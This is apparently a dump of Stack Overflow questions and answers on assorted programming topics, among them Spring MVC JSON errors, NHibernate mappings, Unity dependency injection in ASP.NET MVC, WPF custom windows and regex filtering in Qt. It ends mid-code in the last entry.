16732621	0	JSON Mapping in my Spring MVC 3.2 Application Works for Only One of My Methods <p>I am working on a Spring 3.2 MVC application. It's setup fairly typically, but my problem is that I am getting a 406 status error when I attempt to return a JSON object from my controller methods. </p> <p>The frustrating part is that I get that response from the server from all but one of my methods. The code I have included is a modified Spring MVC json example I found on the web. The sample's controller method with the path variable works as expected, but the additional methods that I added to the controller do not.</p> <p>The only other change I made to the sample code occurs in the pom. I upgraded the jackson dependency to the latest version.</p> <p>So what am I missing? I have the jackson mapper jars on my classpath. I'm using the <code>&lt;mvc:annotation-driven /&gt;</code> directive in my servlet and I'm using the <code>@ResponseBody</code> annotation with each of my controller methods.</p> <p>Any help would be greatly appreciated!</p> <p>Dispatcher servlet:</p> <pre><code> &lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:mvc="http://www.springframework.org/schema/mvc" xmlns:context="http://www.springframework.org/schema/context" xsi:schemaLocation=" http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc-3.0.xsd http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-3.0.xsd"&gt; &lt;context:component-scan base-package="uk.co.jeeni" /&gt; &lt;mvc:annotation-driven /&gt; &lt;/beans&gt; </code></pre> <p>pom.xml:</p> <pre><code> &lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"&gt; &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt; &lt;groupId&gt;uk.co.jeeni&lt;/groupId&gt; &lt;artifactId&gt;spring-json&lt;/artifactId&gt; &lt;version&gt;1.0.0&lt;/version&gt; &lt;packaging&gt;war&lt;/packaging&gt; &lt;name&gt;Spring 3 MVC JSON Example&lt;/name&gt; &lt;properties&gt; &lt;spring.version&gt;3.2.1.RELEASE&lt;/spring.version&gt; &lt;/properties&gt; &lt;dependencies&gt; &lt;!-- Jackson mapper is used by spring to convert Java POJOs to JSON strings. --&gt; &lt;dependency&gt; &lt;groupId&gt;org.codehaus.jackson&lt;/groupId&gt; &lt;artifactId&gt;jackson-mapper-asl&lt;/artifactId&gt; &lt;version&gt;1.9.12&lt;/version&gt; &lt;/dependency&gt; &lt;!-- START: Spring web --&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-core&lt;/artifactId&gt; &lt;version&gt;${spring.version}&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-web&lt;/artifactId&gt; &lt;version&gt;${spring.version}&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-webmvc&lt;/artifactId&gt; &lt;version&gt;${spring.version}&lt;/version&gt; &lt;/dependency&gt; &lt;!-- END: Spring web --&gt; &lt;/dependencies&gt; &lt;build&gt; &lt;plugins&gt; &lt;plugin&gt; &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt; &lt;artifactId&gt;maven-compiler-plugin&lt;/artifactId&gt; &lt;version&gt;2.3.2&lt;/version&gt; &lt;configuration&gt; &lt;source&gt;1.5&lt;/source&gt; &lt;target&gt;1.5&lt;/target&gt; &lt;/configuration&gt; &lt;/plugin&gt; &lt;plugin&gt; &lt;groupId&gt;org.apache.tomcat.maven&lt;/groupId&gt; &lt;artifactId&gt;tomcat7-maven-plugin&lt;/artifactId&gt; &lt;version&gt;2.1&lt;/version&gt; &lt;/plugin&gt; &lt;/plugins&gt; &lt;finalName&gt;spring-mvc-json&lt;/finalName&gt; &lt;/build&gt; </code></pre> <p></p> <p>Controller:</p> <pre><code> package uk.co.jeeni; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.ResponseBody; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; @Controller public class JsonService { private static Map&lt;String, Person&gt; data = new HashMap&lt;String, Person&gt;(); static{ data.put("ADAM", new Person("Adam", "Davies", 42)); data.put("JANE", new Person("Jane", "Harrison", 35)); } @RequestMapping(value="{name}", method = RequestMethod.GET) public @ResponseBody Person getPerson(@PathVariable String name){ Person p = new Person(name, name, 105);//data.get(name.toUpperCase()); return p; } @RequestMapping(value="/testJson.html", method=RequestMethod.GET) public @ResponseBody List&lt;Person&gt; testJson() { List&lt;Person&gt; people = new ArrayList&lt;Person&gt;(); for(int i=0;i&lt;10;i++) { Person p = new Person("Firstname", "Lastname", i); people.add(p); } return people; } @ResponseBody @RequestMapping(value="testJsonPojo.html", method=RequestMethod.GET) public Person testJsonPojo() { Person individual = new Person("Firstname", "Lastname", 105); return individual; } } </code></pre> <p>Person.java:</p> <pre><code> package uk.co.jeeni; public class Person { private String firstName; private String lastName; private int age; public Person(String firstName, String lastName, int age) { this.firstName = firstName; this.lastName = lastName; this.age = age; } public String getFirstName() { return firstName; } public void setFirstName(String firstName) { this.firstName = firstName; } public String getLastName() { return lastName; } public void setLastName(String lastName) { this.lastName = lastName; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } } </code></pre>
21991956	0	 <p>In your case, we decided to expose our web app functionality as web services, because of:</p> <ul> <li>The client code is easily generated by your favorite WS library</li> <li>The server code is just an annotated POJO and every stub is generated by the same library (say you can choose CXF for both things but there are plenty of options)</li> <li>Security and operations people agreeded instantly to our proposal since functionality was exposed to the exterior through the corporative https security (exactly the same as our web application was doing)</li> </ul> <p>The kind of web services you use depends on your requirements: people normally expose their API as a REST api, which is more or less an http CRUD wrapper over your application entities. You can use standard SOAP web services, which is more of a procedural point of view. </p> <p>Up to you to decide, I hope this was useful</p>
15538626	0	add column dynamically to handsontable <p>I am trying to dynamically add a column to a handsontable. I don't see a sample anywhere nor o i see a method to do so in the API. Has anyone figured out a way to overcome this or have some sample code that I can look at that would help. </p> <p>Thank you.</p>
422156	0	What would be a good framework to develop a web application for guitar software? <p>I would love to design a web application for a guitar tablature editor. There are a few desktop apps such as Guitar Pro and Tuxguitar that are great. They basically allow you to load a tablature file, and then the software allows you to edit and play the tablature. What would be even better would be a web-based version of these programs.</p> <p>Tuxguitar is open source and would serve as a good frame of reference. It is designed in Java and uses SWT gui components. Would there be an ideal framework for developing a fairly complex web application using languages/technologies similar to these?</p> <p>Any caveats in terms of developing such a complex sound-based web application?</p>
35649112	0	 <p>Since Android 6 there is a Backup API. See <a href="http://developer.android.com/training/backup/autosyncapi.html" rel="nofollow">http://developer.android.com/training/backup/autosyncapi.html</a></p>
15088343	0	 <p><a href="http://msdn.microsoft.com/en-us/library/system.net.sockets.tcpclient.getstream.aspx" rel="nofollow">TcpClient.GetStream()</a> will throw an exception if the socket is not or no longer connected.</p> <p>Wrap the code in a try..catch block:</p> <pre><code>try { NetworkStream networkStream = clientSocket.GetStream(); networkStream.Read(bytesFrom, 0, 312); dataFromClient = Encoding.ASCII.GetString(bytesFrom); string hex = BitConverter.ToString(bytesFrom).Replace("-",""); Console.WriteLine("\n " + hex + "\n_______________()()()______________"); } catch (InvalidOperationException ioex) { // The TcpClient is not connected to a remote host. } catch (ObjectDisposedException odex) { // The TcpClient has been closed. } </code></pre>
2542265	0	 <p>Ari,</p> <p>A good reference to how to accomplish "invisible" instance variable declarations can <a href="http://cocoawithlove.com/2010/03/dynamic-ivars-solving-fragile-base.html" rel="nofollow noreferrer">be found here</a> with credit respectfully given to Matt Gallagher.</p> <p>Hope it helps, Frank</p>
40379264	0	How to cancel replica request through softlayer API <p>I have setup of replication, where i have source volume at one site &amp; replica at another site. Now i want to cancel the replica request through Softlayer python API.(not through portal) I have checked there are 2 services related to billing;</p> <pre><code>SoftLayer_Billing_Item::cancelItem SoftLayer_Billing_Item_Cancellation_Request::createObject </code></pre> <p>Which service i should use &amp; how? Can someone please help me to get that API. </p>
7055612	0	functions in update panel <pre><code>&lt;asp:UpdatePanel ID="UpdatePanel10" runat="server"&gt; &lt;ContentTemplate&gt; &lt;center&gt; &lt;asp:GridView ID="gridInboxMessage" runat="server" AllowPaging="True" AllowSorting="True" AutoGenerateColumns="False" DataSourceID="LinqDataSource1" OnSelectedIndexChanged="gridInboxMessage_SelectedIndexChanged" onrowdeleted="gridInboxMessage_RowDeleted" onrowdeleting="gridInboxMessage_RowDeleting"&gt; &lt;Columns&gt; &lt;asp:CommandField ShowSelectButton="True" SelectText="show text" /&gt; &lt;asp:TemplateField &gt; &lt;ItemTemplate&gt; &lt;asp:Button ID="btnDeleteInbox" Text="delete" OnClick="btnDeleteInbox_Click" runat="server" /&gt; &lt;/ItemTemplate&gt; &lt;/asp:TemplateField&gt; &lt;asp:BoundField DataField="Row" HeaderText="row" ReadOnly="True" SortExpression="Row" /&gt; &lt;asp:TemplateField SortExpression="Body" HeaderText="متن"&gt; &lt;ItemTemplate&gt; &lt;asp:Label ID="MyBody" runat="server" Text='&lt;%# TruncateText(Eval("Body"))%&gt;'&gt; &lt;/asp:Label&gt; &lt;asp:Label ID="fullBodyRecieve" Visible="false" runat="server" Text='&lt;%# Eval("Body")%&gt;'&gt; &lt;/asp:Label&gt; &lt;/ItemTemplate&gt; &lt;/asp:TemplateField&gt; &lt;/Columns&gt; &lt;/asp:GridView&gt; &lt;asp:LinqDataSource ID="LinqDataSource1" AutoSort="true" runat="server" ContextTypeName="DataClassesDataContext" Select="new (Row,Title, Body, Sender, Date1)" TableName="PrivateMessages" Where="Receptor == @Receptor" ondeleted="LinqDataSource1_Deleted" ondeleting="LinqDataSource1_Deleting"&gt; &lt;WhereParameters&gt; &lt;asp:QueryStringParameter Name="Receptor" QueryStringField="idCompany" Type="String" /&gt; &lt;/WhereParameters&gt; &lt;/asp:LinqDataSource&gt; &lt;/ContentTemplate&gt; &lt;/asp:UpdatePanel&gt; </code></pre> <hr> <pre><code> protected void btnDeleteInbox_Click(object sender, EventArgs e) { GridViewRow row = gridInboxMessage.SelectedRow; var inboxMessage = (from b in dc.PrivateMessages where b.Row.ToString() == row.Cells[0].Text select b).Single(); dc.PrivateMessages.DeleteOnSubmit(inboxMessage); dc.SubmitChanges(); } </code></pre> <p><code>btnDeleteInbox_Click</code> doe not work??This method is never executed</p> <pre><code>protected void gridInboxMessage_RowDeleted(object sender, GridViewDeletedEventArgs e) { GridViewRow row = gridInboxMessage.SelectedRow; var inboxMessage = (from b in dc.PrivateMessages where b.Row.ToString() == row.Cells[0].Text select b).Single(); dc.PrivateMessages.DeleteOnSubmit(inboxMessage); dc.SubmitChanges(); } </code></pre> <p><code>gridInboxMessage_RowDeleted</code> doe not work??This method is never executed</p> <pre><code>protected void gridInboxMessage_RowDeleting(object sender, GridViewDeleteEventArgs e) { GridViewRow row = gridInboxMessage.SelectedRow; var inboxMessage = (from b in dc.PrivateMessages where b.Row.ToString() == row.Cells[0].Text select b).Single(); dc.PrivateMessages.DeleteOnSubmit(inboxMessage); dc.SubmitChanges(); } </code></pre> <p><code>gridInboxMessage_RowDeleting</code> doe not work??This method is never executed</p>
20937864	0	How to do an accent insensitive grep? <p>Is there a way to do an accent insensitive search using grep, preferably keeping the --color option ? By this I mean <code>grep --secret-accent-insensitive-option aei</code> would match àei but also äēì and possibly æi.</p> <p>I know I can use <code>iconv -t ASCII//TRANSLIT</code> to remove accents from a text, but I don't see how I can use it to match since the text is transformed (it would work for grep -c or -l) </p>
16599481	0	 <p>Since you want to update a part of the page you will need to use ajax to accomplish that. You have two options there:</p> <ol> <li><p>User @Ajax.ActionLink (<a href="http://stackoverflow.com/questions/7295835/how-can-i-load-partial-view-inside-the-view">How can i load Partial view inside the view</a>)</p></li> <li><p>You can write your own jquery ajax request that invokes your controller method and returns the partial view.</p></li> </ol>
40578500	0	 <p>you can append text into slide item with images</p> <p>For example, slider item template:</p> <pre><code>&lt;div&gt;&lt;!-- slide 1 --&gt; &lt;img src=""&gt; &lt;p&gt;text&lt;/p&gt; &lt;/div&gt; &lt;div&gt;&lt;!-- slide 2 --&gt; &lt;img src=""&gt; &lt;p&gt;text2&lt;/p&gt; &lt;/div&gt; </code></pre> <p>See on fiddle <a href="http://jsfiddle.net/uktry43n/4/" rel="nofollow noreferrer">http://jsfiddle.net/uktry43n/4/</a></p>
36921291	0	 <p>You're writing the updated document text to <code>StreamWriter sw</code> but then not doing anything with it. You are then setting the session variable to your original, unedited byte array <code>memoryStream</code> (which is presumably why you're returning a document with no changes).</p> <p>You need to convert <code>sw</code> to a byte array and put that in <code>Session["ByteArray"]</code> instead.</p> <p>Also, a large byte array in a session variable does not seem like a terribly good idea.</p>
22185121	0	Are @@variables in a Ruby on Rails controller specific to the users session, or are all users going to see the same value? <p>I have a controller in which there is a "viewless" action. That controller is used to set a variable called <code>@@ComputedData={}</code>. But the data is computed based on a csv file a user of the application uploaded. Now are users going to see their specific data or will the <code>@@ComputeData</code> be the same for all users? Could someone explain me this concept? I'm really shaky on it. Thank you in advance and sorry for the noob question. </p>
1750786	0	In nHibernate, can I map an abstract base class to a collection? <p>I have a base class for content items in a CMS I'm building. It's currently marked abstract because I only want derived classes to be instantiated. Derived classes like BlogPost, Article, Photo, etc. are set up as a joined subclass to my ContentBase class in nHibernate.</p> <p>I'm trying to set up a many-to-many mapping between this class and a Tag class. I want to have a collection of Tags on the ContentBase class, and a collection of ContentBase items on the tag class.</p> <p>Will nHibernate allow me to map the abstract ContentBase class as a collection on the Tag class? I'm assuming not since it wouldn't be able to instantiate any instances of this class when reconstituting a Tag entity from the db. I really don't want to have to have to use a collection of content items per type (e.g. TaggedBlogPosts, TaggedArticles, etc.) on the Tag class.</p> <p>The whole reason I'm doing this is because logically, a content item can have many tags, and 1 tag can belong to multiple content items. in order for nHibernate to manage the relationships for me in a mapping table, I believe I have to set up a many-to-many association and add the Tag to the ContentBase.Tags collection and then the content item to the Tags.TaggedContentItems collection before the mapping table entry is created in nHibernate.</p> <p>Here are my mappings for reference:</p> <pre><code> &lt;class name="CMS.Core.Model.Tag,CMS.Core" table="bp_Tags"&gt; &lt;id column="TagName" name="TagName" type="String" unsaved-value=""&gt; &lt;generator class="assigned" /&gt; &lt;/id&gt; &lt;bag name="_taggedContentList" table="bp_Tags_Mappings" inverse="true" cascade="save-update" lazy="true"&gt; &lt;key column="TagName" /&gt; &lt;many-to-many class="CMS.Core.Model.ContentBase,CMS.Core" column="Target_Id" /&gt; &lt;/bag&gt; &lt;/class&gt; &lt;class name="CMS.Core.Model.ContentBase,CMS.Core" table="bp_Content"&gt; &lt;id name="Id" column="Id" type="Int32" unsaved-value="0"&gt; &lt;generator class="native"&gt;&lt;/generator&gt; &lt;/id&gt; &lt;property name="SubmittedBy" column="SubmittedBy" type="string" length="256" not-null="true" /&gt; &lt;property name="SubmittedDate" column="SubmittedDate" type="datetime" not-null="true" /&gt; &lt;property name="PublishDate" column="PublishDate" type="datetime" not-null="true" /&gt; &lt;property name="State" column="State" type="CMS.Core.Model.ContentStates,CMS.Core" not-null="true" /&gt; &lt;property name="ContentType" column="ContentType" type="CMS.Core.Model.ContentTypes,CMS.Core" not-null="true" /&gt; &lt;bag name="_tagsList" table="bp_Tags_Mappings" lazy="false" cascade="save-update"&gt; &lt;key column="Target_Id" /&gt; &lt;many-to-many class="CMS.Core.Model.Tag,CMS.Core" column="TagName" lazy="false" /&gt; &lt;/bag&gt; ... &lt;joined-subclass name="CMS.Core.Model.BlogPost,CMS.Core" table="bp_Content_BlogPosts" &gt; &lt;key column="Id" /&gt; &lt;property name="Body" type="string" column="Body" /&gt; &lt;property name="Title" type="string" column="Title" /&gt; &lt;/joined-subclass&gt; ... </code></pre>
17032756	0	 <p>With a layout as shown in the example and the range in Sheet1 named <code>array</code> <code>=VLOOKUP(A2,array,2,FALSE)</code> should show in ColumnC the value from the Sheet1 cell immediately to the right of the value as specified in <code>A2</code> (of Sheet2). The same formula in <code>D2</code> with <code>,2,</code> replaced <code>,3,</code> should give the corresponding unit price, so appending <code>*B2</code> should give the Cost. Both formulae may be copied down to suit: </p> <p><img src="https://i.stack.imgur.com/Y38qX.gif" alt="enter image description here"> </p>
6760105	0	Does innodb_flush_method affects read operation? <p>If I set innodb_flush_method=O_DIRECT, will the read operation of innodb bypass the system cache? Thanks!</p>
4534018	0	Fluent Nhibernate fails during insert <p>I have problem using Fluent Nhibernate, I have following model. When I try to save Hotel with has new Geography I getting foreign key exception, looks like Nhibenate fails to save data in correct order, is it something I can correct via Fluent Nhibernate ?</p> <pre><code>public class Geography { public virtual int CityID { get; set; } public virtual string CountryCode { get; set; } } public class Hotel { public virtual int HotelID { get; set; } public virtual Geography City { get; set; } } </code></pre> <p>Mapping</p> <pre><code> public class HotelMap : ClassMap&lt;Hotel&gt; { public HotelMap() { Id(x =&gt; x.HotelID) .GeneratedBy .Identity(); References(x =&gt; x.City, "CityId") .Cascade.All(); } } public class GeographyMap : ClassMap&lt;Geography&gt; { public GeographyMap() { Id(x =&gt; x.CityID); Map(x =&gt; x.CountryCode); HasMany(a =&gt; a.Hotels) .Cascade.All(); } } </code></pre> <p>Added generated mappings</p> <pre><code>&lt;hibernate-mapping xmlns="urn:nhibernate-mapping-2.2" default-access="property" auto-import="true" default-cascade="none" default-lazy="true"&gt; &lt;class xmlns="urn:nhibernate-mapping-2.2" mutable="true" name="Hotel" table="`Hotel`"&gt; &lt;id name="HotelID" type="System.Int32"&gt; &lt;column name="HotelID" /&gt; &lt;generator class="assigned" /&gt; &lt;/id&gt; &lt;many-to-one cascade="all" class="Geography" foreign-key="HotelGeography" name="City"&gt; &lt;column name="CityId" /&gt; &lt;/many-to-one&gt; &lt;/class&gt; &lt;/hibernate-mapping&gt; &lt;hibernate-mapping xmlns="urn:nhibernate-mapping-2.2" default-access="property" auto-import="true" default-cascade="none" default-lazy="true"&gt; &lt;class xmlns="urn:nhibernate-mapping-2.2" mutable="true" name="Geography" table="`Geography`"&gt; &lt;id name="CityID" type="System.Int32"&gt; &lt;column name="CityID" /&gt; &lt;generator class="assigned" /&gt; &lt;/id&gt; &lt;bag cascade="all" inverse="true" name="Hotels" mutable="true"&gt; &lt;key&gt; &lt;column name="HotelID" /&gt; &lt;/key&gt; &lt;one-to-many class="Hotel" /&gt; &lt;/bag&gt; &lt;property name="CountryCode" type="System.String"&gt; &lt;column name="CountryCode" /&gt; &lt;/property&gt; &lt;/class&gt; &lt;/hibernate-mapping&gt; </code></pre>
38577055	0	Custom Control Initialization exception <p>I have a custom windows control that inherits from <code>Window</code> class which I am trying to use in my other project. I have overwritten the <code>OnInitialized()</code> method inside my custom window class. My problem is <code>base.OnInitialized();</code> line, that's where I get <code>object reference not set to an instance of the of the object</code> exception. Here is my custom windows class:</p> <pre><code> public class MacWindow : Window { public HwndSource HwndSource { get { return _hwndSource; } } private HwndSource _hwndSource; MacWindowBehaviour behaviour; protected override void OnInitialized(EventArgs e) { SourceInitialized += OnSourceInitialized; base.OnInitialized(e); } private void OnSourceInitialized(object sender, EventArgs e) { _hwndSource = (HwndSource)PresentationSource.FromVisual(this); } static MacWindow() { //This is done so that the control automatically finds the fallback style in Generic.xaml DefaultStyleKeyProperty.OverrideMetadata(typeof(MacWindow), new FrameworkPropertyMetadata(typeof(MacWindow))); } public MacWindow() : base() { behaviour = new MacWindowBehaviour(this); PreviewMouseMove += behaviour.MacWindow_PreviewMouseMove; } public override void OnApplyTemplate() { //assigns the event handlers for Window panel buttons when windows is loaded Button minButton = GetTemplateChild("minimizeButton") as Button; Button restButton = GetTemplateChild("restoreButton") as Button; Button clButton = GetTemplateChild("closeButton") as Button; minButton.Click += behaviour.MinimizeClick; restButton.Click += behaviour.RestoreClick; clButton.Click += behaviour.CloseClick; Grid resizeGrid = GetTemplateChild("resizeGrid") as Grid; foreach (UIElement element in resizeGrid.Children) { Rectangle rect = element as Rectangle; rect.MouseMove += behaviour.rect_MouseMove; rect.MouseLeftButtonDown += behaviour.rect_MouseLeftButtonDown; } base.OnApplyTemplate(); } } </code></pre>
25659084	0	 <p>The thing is that character classes treat characters inside them as individual characters, unless when using a range. So, what:</p> <pre><code>[2, 3, 4, 5, 8, 9, 10, 18, 19] </code></pre> <p>Will match is: <code>2</code>, <code>,</code>, , <code>3</code>, <code>,</code> (again), [...], <code>1</code>, <code>9</code>, <code>,</code> (again), , <code>1</code> (again), etc.</p> <p>What the regex has to look like is actually:</p> <pre><code>proxy.setFilterRegExp(QRegExp('^(2|3|4|5|8|9|10|18|19)$')) </code></pre> <p>Or shortened as much as possible:</p> <pre><code>proxy.setFilterRegExp(QRegExp('^([234589]|1[089])$')) </code></pre> <p>I guess you will have to change how <code>sourceModel.wantedNumbersList()</code> appears (some string manipulations) or input it manually.</p> <p>If you do it via string manipulation, I would suggest stripping the square brackets and replace the comma followed by space by a pipe <code>|</code>, then use <code>'^(%s)$'</code> for regex.</p>
10639629	0	proper way to start and interface with a service and statusbar/notification <p>I have a broadcast receiver that works fine but now I want to send send notifications to status bar. Since BroadcastReceiver cannot do it directly it looks like I need to create a service to do that for me correct?</p> <p>So I created a service using the examples provided at <a href="http://developer.android.com/reference/android/app/Service.html" rel="nofollow">http://developer.android.com/reference/android/app/Service.html</a></p> <p>Other than a few small tweaks it's that code. I start the service from the broadcast receiver with context.startService(new Intent(context, AlertUser.class));</p> <p>What happened is it did put out the msg in the status bar. then when I did a clear and had it generate a new msg the service code did not execute. Do I interact with he service differently once started? From what I read no if part of same process.</p> <p>Also how would I share information like a string from the the BroadcastReceiver to the service to that it is info to display in the notification?</p> <p>Thanks,</p> <p>Frank</p>
35238331	0	RegEx for css class name <p>I want to have a class <code>cX</code> where x is a number between 0 and 100. I could add <code>c0</code> to <code>c100</code> to my css. But well, I'd like to avoid that.</p> <p>I know there are ways to match element attributes like <code>h2[rel="external"]</code>. But is it also possible to match class names? Would it also possible to use the matched value within the rule?</p> <p>Example</p> <pre><code>.c[x] { height: x%; } </code></pre>
1987518	0	 <p>Your problem is thinking of the state as being all the permutations of what people can see. In general you should just be thinking of the state as the facts of the situation, and calculate individual views of those facts as they are needed.</p> <pre><code>// pseudocode - make it properly object oriented for best results struct player { int teamNumber; bool hidden; }; bool is_friend(player other_guy) { return me.teamNumber == other_guy.teamNumber; } bool can_see(player other_guy) { return (is_friend(other_guy) || !other_guy.hidden); } </code></pre> <p>If one player (eg, A) cannot see another player (eg. B), then you just don't send player B's information to player A until the situation changes.</p>
17535954	0	 <p>Have you tried setting up a TCP server on the device and then sending to the pc with the pc as a client?</p>
9465404	0	 <p>Hope this helps</p> <pre><code>$url="http://www.gonzaga.edu/../../../../Files/ About/Images/300x200/baseball_panorama_hz.jpg" $url=str_replace('../','', $url); </code></pre>
30602857	0	 <p>Move <code>ion-footer-bar</code> should be outside of <code>ion-content</code> will solve your issue.</p> <p><strong>Markup</strong></p> <pre><code>&lt;ion-popover-view&gt; &lt;ion-header-bar&gt; &lt;h1 class="title"&gt;Show Columns&lt;/h1&gt; &lt;/ion-header-bar&gt; &lt;ion-content&gt; ..content here &lt;/ion-content&gt; &lt;ion-footer-bar&gt; &lt;button ng-click="closePopover()"&gt;close&lt;/button&gt; &lt;/ion-footer-bar&gt; &lt;/ion-popover-view&gt; </code></pre> <p><a href="http://plnkr.co/edit/Nuyxa09XtHmjFwMTTNXU?p=preview" rel="nofollow"><strong>Demo</strong></a></p>
1404833	0	 <p>The answer suggested; [theTableView reload] definitely works fine. If you update the table every view seconds, however, your users will going to hate you and down-vote your app. No question.</p> <p>Try to capture the reloading data in a notification handler. In that handler, check if the updated data belongs somewhere between the currently visible cells, if so, update the currently visible view. If not, ignore the updated data (but do add it to your underlying model). If the user scrolls further, after your update, cellForIndexPath: is called and the updated data will be drawn automatically.</p> <p>reload is quite heavy to do every view seconds, certainly with a lot of data. drawing might get screwed up or worse..</p>
40229606	0	 <p>I believe it's because you've written <code>#dialogmodal</code> when you meant to write <code>#dialog-modal</code> on the second line of your JS code.</p>
23146775	0	Unity Bootstrapper (Unity.Mvc), Unity 3, MVC 5, EF6 Receiving Error: Parameterless Public Constructor on Controller <p>Ok, after searching Google, here and several ASP/MVC forums I am bound to have to ask what the hell I am doing wrong here.</p> <p>I have a good start to my application, an ok understanding of DI, IoC and am using the Repository, Service and UnitOfWork patterns. When I attempt to load a controller that needs the DI from Unity, it's as if unity is not resolving any of the registered items, or that I have done it poorly. From all the examples I can see for this version (not the version that creates the Bootstrap.cs file that is then called from Global.asax) I am doing what others have done with no love from Unity.</p> <p>My core question is: Have I setup/configured Unity to inject the items into the controller constructor as needed or not. If I have, any ideas why it's not working like examples I have seen?</p> <p>I keep getting the error that the AssetController needs to have a parameterless public constructor. If I add one, then it uses it without the DI and if I don't add one, then it yells about not having it.</p> <p>Thanks, code below.</p> <p><strong>UnityConfig.cs</strong></p> <pre><code>namespace CARS.web.App_Start { /// &lt;summary&gt; /// Specifies the Unity configuration for the main container. /// &lt;/summary&gt; public class UnityConfig { #region Unity Container private static Lazy&lt;IUnityContainer&gt; container = new Lazy&lt;IUnityContainer&gt;(() =&gt; { var container = new UnityContainer(); RegisterTypes(container); return container; }); /// &lt;summary&gt; /// Gets the configured Unity container. /// &lt;/summary&gt; public static IUnityContainer GetConfiguredContainer() { return container.Value; } #endregion /// &lt;summary&gt;Registers the type mappings with the Unity container.&lt;/summary&gt; /// &lt;param name="container"&gt;The unity container to configure.&lt;/param&gt; /// &lt;remarks&gt;There is no need to register concrete types such as controllers or API controllers (unless you want to /// change the defaults), as Unity allows resolving a concrete type even if it was not previously registered.&lt;/remarks&gt; public static void RegisterTypes(IUnityContainer container) { // NOTE: To load from web.config uncomment the line below. Make sure to add a Microsoft.Practices.Unity.Configuration to the using statements. // container.LoadConfiguration(); // TODO: Register your types here // container.RegisterType&lt;IProductRepository, ProductRepository&gt;(); container.RegisterType&lt;IDataContext, CARSDEMOContext&gt;(new PerRequestLifetimeManager()) .RegisterType&lt;IAssetService, AssetService&gt;() .RegisterType&lt;IUnitOfWork, UnitOfWork&gt;() .RegisterType&lt;IRepository&lt;Asset&gt;, Repository&lt;Asset&gt;&gt;(); //.RegisterType&lt;AssetController&gt;(new InjectionConstructor(typeof(IAssetService), typeof(IUnitOfWork))); } } } </code></pre> <p><strong>AssetController.cs</strong> (constructor portion where I am doing the injection params)</p> <pre><code>namespace CARS.web.Controllers { public class AssetController : Controller { private readonly IAssetService _assetService; private readonly IUnitOfWork _unitOfWork; public AssetController(IAssetService assetService, IUnitOfWork unitOfWork) { _assetService = assetService; _unitOfWork = unitOfWork; } //other methods for CRUD etc stripped for brevity } } </code></pre> <p><strong>IAssetService.cs</strong> (first param is the assetService )</p> <pre><code>namespace CARS.service { public interface IAssetService : IService&lt;Asset&gt; { Task&lt;IEnumerable&lt;Asset&gt;&gt; GetAsync(); Task&lt;Asset&gt; FindAsync(Guid id); Asset Add(Asset asset); Asset Update(Asset asset); void Remove(Guid id); } } </code></pre> <p><strong>AssetService.cs</strong> (concrete implementation for IAssetService interaction)</p> <pre><code>namespace CARS.service { public class AssetService : Service&lt;Asset&gt;, IAssetService { private readonly IRepositoryAsync&lt;Asset&gt; _repository; public AssetService(IRepositoryAsync&lt;Asset&gt; repository) : base(repository) { _repository = repository; } public Task&lt;IEnumerable&lt;Asset&gt;&gt; GetAsync() { //return _repository.Query().SelectAsync(); return _repository.Query().SelectAsync(); } public Task&lt;Asset&gt; FindAsync(Guid id) { return _repository.FindAsync(id); } public Asset Add(Asset asset) { _repository.Insert(asset); return asset; } public Asset Update(Asset asset) { _repository.Update(asset); return asset; } public void Remove(Guid id) { _repository.Delete(id); } } } </code></pre> <p><strong>IUnitOfWork.cs</strong> (this is from Long Le's Generic UofW and Repository - <a href="http://genericunitofworkandrepositories.codeplex.com/" rel="nofollow">http://genericunitofworkandrepositories.codeplex.com/</a>)</p> <pre><code>namespace Repository.Pattern.UnitOfWork { public interface IUnitOfWork : IDisposable { int SaveChanges(); Task&lt;int&gt; SaveChangesAsync(); void Dispose(bool disposing); IRepository&lt;TEntity&gt; Repository&lt;TEntity&gt;() where TEntity : IObjectState; void BeginTransaction(); bool Commit(); void Rollback(); } } </code></pre> <p><strong>UnitOfWork.cs</strong> (again from Long Le's framework)</p> <pre><code>namespace Repository.Pattern.Ef6 { public class UnitOfWork : IUnitOfWork, IUnitOfWorkAsync { #region Private Fields private readonly IDataContextAsync _dataContext; private bool _disposed; private ObjectContext _objectContext; private Dictionary&lt;string, object&gt; _repositories; private DbTransaction _transaction; #endregion Private Fields #region Constuctor/Dispose public UnitOfWork(IDataContextAsync dataContext) { _dataContext = dataContext; } public void Dispose() { if (_objectContext != null &amp;&amp; _objectContext.Connection.State == ConnectionState.Open) _objectContext.Connection.Close(); Dispose(true); GC.SuppressFinalize(this); } public virtual void Dispose(bool disposing) { if (!_disposed &amp;&amp; disposing) _dataContext.Dispose(); _disposed = true; } #endregion Constuctor/Dispose public int SaveChanges() { return _dataContext.SaveChanges(); } public IRepository&lt;TEntity&gt; Repository&lt;TEntity&gt;() where TEntity : IObjectState { return RepositoryAsync&lt;TEntity&gt;(); } public Task&lt;int&gt; SaveChangesAsync() { return _dataContext.SaveChangesAsync(); } public Task&lt;int&gt; SaveChangesAsync(CancellationToken cancellationToken) { return _dataContext.SaveChangesAsync(cancellationToken); } public IRepositoryAsync&lt;TEntity&gt; RepositoryAsync&lt;TEntity&gt;() where TEntity 